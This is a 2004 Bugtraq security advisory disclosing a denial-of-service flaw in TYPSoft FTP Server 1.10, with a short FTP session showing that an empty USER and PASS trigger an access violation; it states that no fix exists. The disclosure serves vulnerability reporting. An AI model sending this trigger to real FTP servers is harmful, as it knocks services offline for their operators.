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Date: Wed, 04 Feb 2004 19:50:22 +0800
From: "intuit bug_hunter" <intuit@...uxmail.org>
To: bugtraq@...urityfocus.com
Subject: TYPSoft FTP Server 1.10 may be crashed


 
Application:  TYPSoft FTP Server
              http://www.typsoft.com

Version:      1.10

Bug:          Denial Of Service

Author:       intuit
              e-mail: intuit@...uxmail.org
              web/forum: http://code.unixserver.at

***********************************************************************

1. Description
2. The bug
3. The code
4. The fix

***********************************************************************

^^^^^^^^^^^^^^^^
1. Description:
^^^^^^^^^^^^^^^^

Vendor's Description:

"TYPSoft FTP Server is a fast and easy ftp server with support to
Standard FTP Command, Clean interface, Virtual File System
architecture, ability to resume Download and Upload, IP Restriction, 
Login/Quit message, logs, Multi Language and many other things."

***********************************************************************

^^^^^^^^^^^^^^^^
2. The bug:
^^^^^^^^^^^^^^^^

TYPSoft FTP Server may be crashed with empty USERNAME. 

***********************************************************************

^^^^^^^^^^^^^^^^
3. The code:
^^^^^^^^^^^^^^^^

To test the vulnerability simply send to the ftp server a empty user name like:

-----------------------------------------------------------------------
220 TYPSoft FTP Server 1.10 ready...
USER
331 Password required for .
PASS
501 Access violation at address 77F526AB in module 'ntdll.dll'. 
Write of address 00404C4D
-----------------------------------------------------------------------

and the ftp server may be crashed.

Probably 100% employment of computer resources.

/*Tested on: Win XP Build 2600, Service Pack: None*/

***********************************************************************

^^^^^^^^^^^^^^^^
4. The fix:
^^^^^^^^^^^^^^^^

Not exist.

***********************************************************************

-- 
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